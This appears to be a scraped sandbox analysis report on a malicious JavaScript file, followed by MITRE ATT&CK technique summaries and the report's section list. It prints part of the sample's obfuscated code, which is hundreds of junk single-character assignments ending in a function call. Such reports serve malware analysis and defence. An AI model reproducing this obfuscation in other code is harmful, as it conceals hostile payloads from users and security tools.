800	lljjxcna = "r";
801	lljjxcna = "C";
802	lljjxcna = "i";
803	lljjxcna = "L";
804	lljjxcna = "p";
805	lljjxcna = "O";
806	lljjxcna = "i";
807	lljjxcna = "Q";
808	lljjxcna = "l";
809	lljjxcna = "j";
810	lljjxcna = "t";
811	lljjxcna = "P";
812	lljjxcna = "G";
813	lljjxcna = "\\";
814	nkpmxjf = "z";
815	nkpmxjf = "G";
816	nkpmxjf = "w";
817	nkpmxjf = "O";
818	nkpmxjf = "C";
819	nkpmxjf = "u";
820	nkpmxjf = "a";
821	nkpmxjf = "h";
822	nkpmxjf = "f";
823	nkpmxjf = "j";
824	nkpmxjf = "z";
825	nkpmxjf = "U";
826	nkpmxjf = "d";
827	qccttut = "Q";
828	qccttut = "y";
829	qccttut = "z";
830	qccttut = "N";
831	qccttut = "x";
832	qccttut = "z";
833	qccttut = "F";
834	qccttut = "B";
835	qccttut = "W";
836	qccttut = "Y";
837	qccttut = "Q";
838	qccttut = "O";
839	qccttut = "E";
840	qccttut = "e";
841	qccttut = "H";
842	qccttut = "f";
843	qccttut = "C";
844	qccttut = "X";
845	qccttut = "j";
846	qccttut = "m";
847	qccttut = "F";
848	qccttut = "q";
849	qccttut = "C";
850	qccttut = "o";
851	qccttut = "u";
852	qccttut = "S";
853	qccttut = "F";
854	qccttut = "p";
855	qccttut = "n";
856	qccttut = "Q";
857	qccttut = "f";
858	qccttut = "D";
859	qccttut = "z";
860	qccttut = "f";
861	qccttut = "o";
862	qccttut = "c";
863	qccttut = "O";
864	qccttut = "Y";
865	qccttut = "O";
866	qccttut = "i";
867	ohusty = "L";
868	ohusty = "q";
869	ohusty = "t";
870	ohusty = "W";
871	ohusty = "h";
872	ohusty = "h";
873	ohusty = "U";
874	ohusty = "h";
875	ohusty = "f";
876	ohusty = "w";
877	ohusty = "H";
878	ohusty = "B";
879	ohusty = "y";
880	ohusty = "I";
881	ohusty = "O";
882	ohusty = "j";
883	ohusty = "T";
884	ohusty = "p";
885	ohusty = "S";
886	ohusty = "c";
887	ohusty = "r";
888	ohusty = "x";
889	ohusty = "S";
890	ohusty = "Z";
891	ohusty = "E";
892	ohusty = "J";
893	ohusty = "s";
894	gzlhdhjn = "W";
895	gzlhdhjn = "m";
896	gzlhdhjn = "n";
897	gzlhdhjn = "U";
898	gzlhdhjn = "k";
899	gzlhdhjn = "l";
900	gzlhdhjn = "I";
901	gzlhdhjn = "g";
902	gzlhdhjn = "W";
903	gzlhdhjn = "R";
904	gzlhdhjn = "R";
905	gzlhdhjn = "%";
906	nifximbmf = "n";
907	nifximbmf = "h";
908	nbufceksi = "q";
909	nbufceksi = "s";
910	nbufceksi = "Q";
911	nbufceksi = "s";
912	nbufceksi = "h";
913	nbufceksi = "S";
914	nbufceksi = "G";
915	nbufceksi = "r";
916	nbufceksi = "w";
917	nbufceksi = "y";
918	nbufceksi = "v";
919	nbufceksi = "Y";
920	nbufceksi = "l";
921	nbufceksi = "w";
922	nbufceksi = "s";
923	nbufceksi = "w";
924	nbufceksi = "x";
925	nbufceksi = "V";
926	nbufceksi = "o";
927	nbufceksi = "z";
928	nbufceksi = "W";
929	nbufceksi = "U";
930	nbufceksi = "T";
931	nbufceksi = "J";
932	nbufceksi = "W";
933	nbufceksi = "Q";
934	nbufceksi = "Q";
935	nbufceksi = "R";
936	nbufceksi = "n";
937	nbufceksi = "e";
938	nbufceksi = "h";
939	nbufceksi = " ";
940	eqgwamc = "D";
941	eqgwamc = "P";
942	eqgwamc = "Y";
943	eqgwamc = "C";
944	eqgwamc = "S";
945	eqgwamc = "l";
946	eqgwamc = "x";
947	eqgwamc = "S";
948	eqgwamc = "a";
949	eqgwamc = "H";
950	eqgwamc = "y";
951	eqgwamc = "S";
952	eqgwamc = "Q";
953	eqgwamc = "L";
954	eqgwamc = "I";
955	eqgwamc = "m";
956	eqgwamc = "z";
957	eqgwamc = "I";
958	eqgwamc = "b";
959	eqgwamc = "f";
960	ouizwe = "L";
961	ouizwe = "H";
962	ouizwe = "S";
963	ouizwe = "R";
964	ouizwe = "V";
965	ouizwe = "d";
966	ouizwe = "l";
967	ouizwe = "S";
968	ouizwe = "h";
969	ouizwe = "u";
970	ouizwe = "h";
971	ouizwe = "X";
972	ouizwe = "x";
973	ouizwe = "S";
974	ouizwe = "R";
975	ouizwe = "c";
976	ouizwe = "X";
977	ouizwe = "m";
978	ouizwe = "d";
979	ouizwe = "Q";
980	ouizwe = "t";
981	ouizwe = "O";
982	ouizwe = "v";
983	ouizwe = "b";
984	ouizwe = "e";
985	ouizwe = "g";
986	ouizwe = "Q";
987	ouizwe = "r";
988	ouizwe = "J";
989	ouizwe = "Z";
990	ouizwe = "l";
991	ouizwe = "a";
992	ouizwe = "-";
993	ndtzc = "j";
994	ndtzc = "F";
995	ndtzc = "E";
996	ndtzc = "k";
997	ndtzc = "O";
998	ndtzc = "s";
999	ndtzc = "F";
1000	ndtzc = "u";
1001	ndtzc = "F";
1002	ndtzc = "K";
1003	ndtzc = "F";
1004	ndtzc = "O";
1005	ndtzc = "M";
1006	ndtzc = "M";
1007	ndtzc = "b";
1008	ndtzc = "r";
1009	ndtzc = "c";
1010	ndtzc = "n";
1011	ndtzc = "l";
1012	ndtzc = "t";
1013	ndtzc = "e";
1014	ndtzc = "f";
1015	ndtzc = "d";
1016	ndtzc = "G";
1017	ndtzc = "z";
1018	ndtzc = "Y";
1019	ndtzc = "P";
1020	ndtzc = "f";
1021	ndtzc = "o";
1022	bhhvgxtpu = "J";
1023	bhhvgxtpu = "L";
1024	bhhvgxtpu = "f";
1025	bhhvgxtpu = "L";
1026	bhhvgxtpu = "u";
1027	abuantaem = "P";
1028	abuantaem = "E";
1029	abuantaem = "B";
1030	abuantaem = "V";
1031	abuantaem = "h";
1032	abuantaem = "a";
1033	abuantaem = "w";
1034	abuantaem = "r";
1035	abuantaem = "Q";
1036	abuantaem = "V";
1037	abuantaem = "z";
1038	abuantaem = "P";
1039	abuantaem = "s";
1040	abuantaem = "j";
1041	abuantaem = "y";
1042	abuantaem = "V";
1043	abuantaem = "z";
1044	abuantaem = "y";
1045	abuantaem = "V";
1046	abuantaem = "o";
1047	abuantaem = "K";
1048	abuantaem = "l";
1049	abuantaem = "V";
1050	abuantaem = "C";
1051	abuantaem = "E";
1052	abuantaem = "a";
1053	abuantaem = "Q";
1054	abuantaem = "q";
1055	abuantaem = "K";
1056	abuantaem = "Z";
1057	abuantaem = "H";
1058	abuantaem = "Q";
1059	abuantaem = "&";
1060	dycmw = "o";
1061	dycmw = "N";
1062	dycmw = "f";
1063	dycmw = "X";
1064	dycmw = "T";
1065	dycmw = "i";
1066	dycmw = "J";
1067	dycmw = "B";
1068	dycmw = "x";
1069	dycmw = "t";
1070	dycmw = "a";
1071	dycmw = "m";
1072	dycmw = "c";
1073	dycmw = "x";
1074	dycmw = "j";
1075	dycmw = "y";
1076	dycmw = "S";
1077	dycmw = "r";
1078	dycmw = "p";
1079	dycmw = "3";
1080	rizfwzdoz = "a";
1081	rizfwzdoz = "f";
1082	rizfwzdoz = "P";
1083	rizfwzdoz = "Y";
1084	rizfwzdoz = "i";
1085	rizfwzdoz = "F";
1086	rizfwzdoz = "j";
1087	rizfwzdoz = "M";
1088	rizfwzdoz = "m";
1089	rizfwzdoz = "s";
1090	rizfwzdoz = "G";
1091	rizfwzdoz = "C";
1092	rizfwzdoz = "C";
1093	rizfwzdoz = "j";
1094	rizfwzdoz = "z";
1095	rizfwzdoz = "y";
1096	rizfwzdoz = "y";
1097	rizfwzdoz = "B";
1098	rizfwzdoz = "C";
1099	rizfwzdoz = "m";
1100	rizfwzdoz = "p";
1101	rizfwzdoz = "H";
1102	rizfwzdoz = "g";
1103	rizfwzdoz = "S";
1104	rizfwzdoz = "R";
1105	rizfwzdoz = "J";
1106	rizfwzdoz = "c";
1107	mteqopu = "k";
1108	mteqopu = "d";
1109	mteqopu = "B";
1110	mteqopu = "W";
1111	mteqopu = "O";
1112	mteqopu = "y";
1113	mteqopu = "j";
1114	mteqopu = "V";
1115	mteqopu = "Q";
1116	mteqopu = "I";
1117	swnmglt = "R";
1118	swnmglt = "g";
1119	swnmglt = "F";
1120	swnmglt = "K";
1121	swnmglt = "O";
1122	swnmglt = "Q";
1123	swnmglt = "z";
1124	swnmglt = "O";
1125	swnmglt = "B";
1126	swnmglt = "i";
1127	swnmglt = "y";
1128	swnmglt = "d";
1129	swnmglt = "c";
1130	swnmglt = "d";
1131	swnmglt = "S";
1132	swnmglt = "V";
1133	swnmglt = "t";
1134	swnmglt = "A";
1135	swnmglt = "X";
1136	swnmglt = "X";
1137	swnmglt = "F";
1138	swnmglt = "U";
1139	swnmglt = "i";
1140	swnmglt = "w";
1141	swnmglt = "m";
1142	swnmglt = "U";
1143	swnmglt = "C";
1144	swnmglt = "O";
1145	swnmglt = "B";
1146	swnmglt = "c";
1147	swnmglt = "A";
1148	swnmglt = "X";
1149	swnmglt = "K";
1150	swnmglt = "W";
1151	eesflx = "M";
1152	eesflx = "j";
1153	eesflx = "j";
1154	eesflx = "a";
1155	eesflx = "D";
1156	eesflx = "E";
1157	eesflx = "E";
1158	eesflx = "Y";
1159	eesflx = "M";
1160	eesflx = "c";
1161	eesflx = "n";
1162	eesflx = "Q";
1163	eesflx = "n";
1164	eesflx = "v";
1165	eesflx = "e";
1166	eesflx = "W";
1167	eesflx = "A";
1168	eesflx = "g";
1169	eesflx = "z";
1170	eesflx = "q";
1171	eesflx = "R";
1172	eesflx = "Q";
1173	eesflx = "k";
1174	eesflx = "q";
1175	eesflx = "Q";
1176	eesflx = "v";
1177	eesflx = "V";
1178	eesflx = "G";
1179	eesflx = "G";
1180	eesflx = "N";
1181	eesflx = "T";
1182	eesflx = "R";
1183	vwhado = "h";
1184	vwhado = "c";
1185	vwhado = "G";
1186	vwhado = "e";
1187	vwhado = "y";
1188	vwhado = "C";
1189	vwhado = "O";
1190	vwhado = "V";
1191	vwhado = "D";
1192	vwhado = "A";
1193	vwhado = "F";
1194	vwhado = "c";
1195	vwhado = "s";
1196	vwhado = "g";
1197	vwhado = "D";
1198	vwhado = "D";
1199	vwhado = "x";
1200	vwhado = "P";
1201	vwhado = "T";
1202	vwhado = "k";
1203	vwhado = "e";
1204	vwhado = "x";
1205	vwhado = "t";
1206	vwhado = "h";
1207	vwhado = "J";
1208	vwhado = "W";
1209	vwhado = "J";
1210	vwhado = "N";
1211	vwhado = "Q";
1212	vwhado = "j";
1213	bnxlrkmav = "U";
1214	bnxlrkmav = "O";
1215	bnxlrkmav = "x";
1216	bnxlrkmav = "W";
1217	bnxlrkmav = "t";
1218	bnxlrkmav = "g";
1219	bnxlrkmav = "l";
1220	bnxlrkmav = "J";
1221	bnxlrkmav = "v";
1222	mnuhqsn = "Z";
1223	mnuhqsn = "v";
1224	mnuhqsn = "B";
1225	mnuhqsn = "H";
1226	mnuhqsn = "Y";
1227	mnuhqsn = "M";
1228	mnuhqsn = "N";
1229	mnuhqsn = "R";
1230	mnuhqsn = "p";
1231	mnuhqsn = "q";
1232	mnuhqsn = "K";
1233	mnuhqsn = "D";
1234	mnuhqsn = "N";
1235	mnuhqsn = "f";
1236	mnuhqsn = "u";
1237	mnuhqsn = "e";
1238	mnuhqsn = "k";
1239	mnuhqsn = "e";
1240	mnuhqsn = "o";
1241	mnuhqsn = "l";
1242	mnuhqsn = "r";
1243	mnuhqsn = ".";
1244	vgihac = "c";
1245	vgihac = "x";
1246	vgihac = "H";
1247	vgihac = "M";
1248	vgihac = "E";
1249	vgihac = "Q";
1250	vgihac = "L";
1251	vgihac = "l";
1252	vgihac = "M";
1253	vgihac = "D";
1254	vgihac = "r";
1255	vgihac = "X";
1256	vgihac = "P";
1257	vgihac = "D";
1258	vgihac = "P";
1259	vgihac = "m";
1260	vgihac = "e";
1261	vgihac = "Y";
1262	vgihac = "N";
1263	vgihac = "S";
1264	vgihac = "N";
1265	vgihac = "m";
1266	vgihac = "N";
1267	vgihac = "v";
1268	vgihac = "O";
1269	vgihac = "r";
1270	vgihac = "A";
1271	vgihac = "M";
1272	vgihac = "y";
1273	vgihac = "g";
1274	vgihac = "f";
1275	vgihac = "E";
1276	vgihac = "p";
1277	vgihac = "h";
1278	vgihac = "u";
1279	vgihac = "U";
1280	vgihac = "W";
1281	vgihac = "b";
1282	vgihac = "t";
1283	vgihac = "O";
1284	vgihac = "E";
1285	vgihac = "m";
1286	niwyl = "u";
1287	niwyl = "r";
1288	niwyl = "R";
1289	niwyl = "k";
1290	vzysjgtmk = "h";
1291	vzysjgtmk = "K";
1292	vzysjgtmk = "K";
1293	vzysjgtmk = "l";
1294	vzysjgtmk = "c";
1295	vzysjgtmk = "t";
1296	vzysjgtmk = "L";
1297	vzysjgtmk = "Q";
1298	vzysjgtmk = "N";
1299	vzysjgtmk = "A";
1300	vzysjgtmk = "c";
1301	vzysjgtmk = "n";
1302	vzysjgtmk = "A";
1303	vzysjgtmk = "c";
1304	vzysjgtmk = "V";
1305	vzysjgtmk = "b";
1306	vzysjgtmk = "g";
1307	vzysjgtmk = "u";
1308	vzysjgtmk = "M";
1309	vzysjgtmk = "f";
1310	vzysjgtmk = "n";
1311	vzysjgtmk = "M";
1312	vzysjgtmk = "l";
1313	vzysjgtmk = "y";
1314	vzysjgtmk = "J";
1315	vzysjgtmk = "L";
1316	vzysjgtmk = "b";
1317	vzysjgtmk = "d";
1318	vzysjgtmk = "s";
1319	vzysjgtmk = "B";
1320	vzysjgtmk = "K";
1321	vzysjgtmk = "J";
1322	vzysjgtmk = "N";
1323	vzysjgtmk = "C";
1324	vzysjgtmk = "E";
1325	vzysjgtmk = "l";
1326	vzysjgtmk = "r";
1327	vzysjgtmk = "9";
1328	xsmfgpgkt = "N";
1329	xsmfgpgkt = "p";
1330	xsmfgpgkt = "Y";
1331	xsmfgpgkt = "t";
1332	xsmfgpgkt = "L";
1333	xsmfgpgkt = "l";
1334	xsmfgpgkt = "t";
1335	xsmfgpgkt = "E";
1336	xsmfgpgkt = "G";
1337	xsmfgpgkt = "n";
1338	xsmfgpgkt = "W";
1339	xsmfgpgkt = "n";
1340	xsmfgpgkt = "X";
1341	xsmfgpgkt = "r";
1342	xsmfgpgkt = "q";
1343	xsmfgpgkt = "g";
1344	xsmfgpgkt = "Z";
1345	xsmfgpgkt = "I";
1346	xsmfgpgkt = "h";
1347	xsmfgpgkt = "X";
1348	xsmfgpgkt = "P";
1349	xsmfgpgkt = "c";
1350	xsmfgpgkt = "E";
1351	xsmfgpgkt = "c";
1352	xsmfgpgkt = "S";
1353	xsmfgpgkt = "n";
1354	xsmfgpgkt = "H";
1355	xsmfgpgkt = "Z";
1356	xsmfgpgkt = "d";
1357	xsmfgpgkt = "T";
1358	xsmfgpgkt = "I";
1359	xsmfgpgkt = "U";
1360	xsmfgpgkt = "A";
1361	xsmfgpgkt = "T";
1362	xsmfgpgkt = "t";
1363	pxfxybazq = "G";
1364	pxfxybazq = "D";
1365	pxfxybazq = "O";
1366	zawyp = "Z";
1367	zawyp = "b";
1368	zawyp = "r";
1369	zawyp = "e";
1370	zawyp = "a";
1371	zawyp = "v";
1372	zawyp = "E";
1373	zawyp = "T";
1374	zawyp = "X";
1375	zawyp = "v";
1376	zawyp = "q";
1377	zawyp = "X";
1378	zawyp = "x";
1379	zawyp = "X";
1380	zawyp = "h";
1381	zawyp = "A";
1382	zawyp = "e";
1383	zawyp = "V";
1384	zawyp = "X";
1385	zawyp = "8";
1386	qnabmw = "Q";
1387	qnabmw = "B";
1388	qnabmw = "r";
1389	qnabmw = "a";
1390	qnabmw = "w";
1391	qnabmw = "I";
1392	qnabmw = "z";
1393	qnabmw = "t";
1394	qnabmw = "Z";
1395	qnabmw = "C";
1396	qnabmw = "O";
1397	qnabmw = "E";
1398	qnabmw = "K";
1399	qnabmw = "Y";
1400	qnabmw = "w";
1401	qnabmw = "H";
1402	qnabmw = "X";
1403	qnabmw = ":";
1404	ueuqyel = "x";
1405	ueuqyel = "V";
1406	ueuqyel = "C";
1407	ueuqyel = "q";
1408	ueuqyel = "M";
1409	ueuqyel = "C";
1410	ueuqyel = "j";
1411	ueuqyel = "d";
1412	ueuqyel = "Y";
1413	ueuqyel = "q";
1414	ueuqyel = "h";
1415	ueuqyel = "m";
1416	ueuqyel = "o";
1417	ueuqyel = "X";
1418	ueuqyel = "K";
1419	ueuqyel = "B";
1420	ueuqyel = "I";
1421	ueuqyel = "y";
1422	ueuqyel = "j";
1423	ueuqyel = "U";
1424	ueuqyel = "G";
1425	ueuqyel = "g";
1426	ueuqyel = "w";
1427	ueuqyel = "T";
1428	ueuqyel = "f";
1429	ueuqyel = "e";
1430	ueuqyel = "C";
1431	ueuqyel = "H";
1432	ueuqyel = "W";
1433	ueuqyel = "T";
1434	ueuqyel = "f";
1435	ueuqyel = "H";
1436	ueuqyel = "g";
1437	ueuqyel = "n";
1438	ueuqyel = "n";
1439	ueuqyel = "S";
1440	ueuqyel = "e";
1441	ueuqyel = "H";
1442	ueuqyel = "A";
1443	ueuqyel = "P";
1444	ueuqyel = "u";
1445	ueuqyel = "v";
1446	ueuqyel = "z";
1447	ueuqyel = "a";
1448	eqzar = "l";
1449	eqzar = "g";
1450	eqzar = "G";
1451	eqzar = "m";
1452	eqzar = "L";
1453	eqzar = "Z";
1454	eqzar = "U";
1455	eqzar = "o";
1456	eqzar = "M";
1457	eqzar = "u";
1458	eqzar = "Y";
1459	eqzar = "t";
1460	eqzar = "T";
1461	eqzar = "L";
1462	eqzar = "s";
1463	eqzar = "v";
1464	eqzar = "S";
1465	eqzar = "r";
1466	eqzar = "Q";
1467	eqzar = "V";
1468	eqzar = "c";
1469	eqzar = "p";
1470	eqzar = "b";
1471	eqzar = "M";
1472	eqzar = "e";
1473	eqzar = "s";
1474	eqzar = "W";
1475	eqzar = "c";
1476	eqzar = "D";
1477	eqzar = "V";
1478	eqzar = "e";
1479	eqzar = "Q";
1480	jdqwjnu = "Y";
1481	jdqwjnu = "I";
1482	jdqwjnu = "V";
1483	jdqwjnu = "g";
1484	jdqwjnu = "l";
1485	jdqwjnu = "R";
1486	jdqwjnu = "C";
1487	jdqwjnu = "N";
1488	jdqwjnu = "s";
1489	jdqwjnu = "x";
1490	jdqwjnu = "j";
1491	jdqwjnu = "X";
1492	jdqwjnu = "a";
1493	jdqwjnu = "t";
1494	jdqwjnu = "T";
1495	jdqwjnu = "m";
1496	jdqwjnu = "D";
1497	jdqwjnu = "x";
1498	jdqwjnu = "V";
1499	jdqwjnu = "D";
1500	jdqwjnu = "t";
1501	jdqwjnu = "o";
1502	jdqwjnu = "L";
1503	jdqwjnu = "e";
1504	jdqwjnu = "I";
1505	jdqwjnu = "g";
1506	jdqwjnu = "l";
1507	jdqwjnu = "t";
1508	jdqwjnu = "g";
1509	jdqwjnu = "K";
1510	jdqwjnu = "H";
1511	jdqwjnu = "F";
1512	jdqwjnu = "A";
1513	jdqwjnu = "Y";
1514	jdqwjnu = "M";
1515	jdqwjnu = "a";
1516	jdqwjnu = "X";
1517	jdqwjnu = "M";
1518	jdqwjnu = "G";
1519	jdqwjnu = "B";
1520	jdqwjnu = "y";
1521	jdqwjnu = "t";
1522	jdqwjnu = "l";
1523	jdqwjnu = "b";
1524	jdqwjnu = "N";
1525	ueksdg = "k";
1526	ueksdg = "L";
1527	ueksdg = "o";
1528	ueksdg = "Q";
1529	ueksdg = "B";
1530	ueksdg = "t";
1531	ueksdg = "r";
1532	ueksdg = "Z";
1533	ueksdg = "a";
1534	ueksdg = "i";
1535	ueksdg = "z";
1536	ueksdg = "N";
1537	ueksdg = "i";
1538	ueksdg = "p";
1539	wshpovbtx ( );	wshpovbtx() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2091470502273216855.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

